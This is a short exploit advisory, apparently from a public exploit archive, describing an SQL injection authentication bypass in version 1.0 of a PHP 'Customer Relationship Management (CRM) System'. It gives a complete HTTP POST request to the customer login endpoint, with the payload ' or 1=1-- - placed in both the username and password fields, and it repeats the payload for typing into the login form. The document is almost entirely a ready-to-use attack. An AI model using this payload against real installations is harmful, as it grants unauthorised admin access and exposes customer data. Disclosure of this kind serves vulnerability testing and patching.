Customer Relationship Management (CRM) System 1.0 SQL Injection

`# Exploit Title: Customer Relationship Management (CRM) System 1.0 - Admin Bypass (SQLi)   
# Date: 11/05/2021  
# Exploit Author: Richard Jones  
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14794&title=Customer+Relationship+Management+%28CRM%29+System+in+PHP+with+Source+Code  
# Version: 1.0  
# Tested on: # Tested on: windows 10 (build 19041) + xampp v3.2.4  
  
  
  
POST /crm/classes/Login.php?f=clogin HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0  
Accept: */*  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 47  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/crm/customer/login.php  
Cookie: PHPSESSID=fspsjsh0e5tiq6hdnlmb9aigo2  
  
username='+or+1%3D1--+-&password='+or+1%3D1--+-  
  
  
Or goto the login page and enter the below payload  
Payload:   
' or 1=1-- -  
`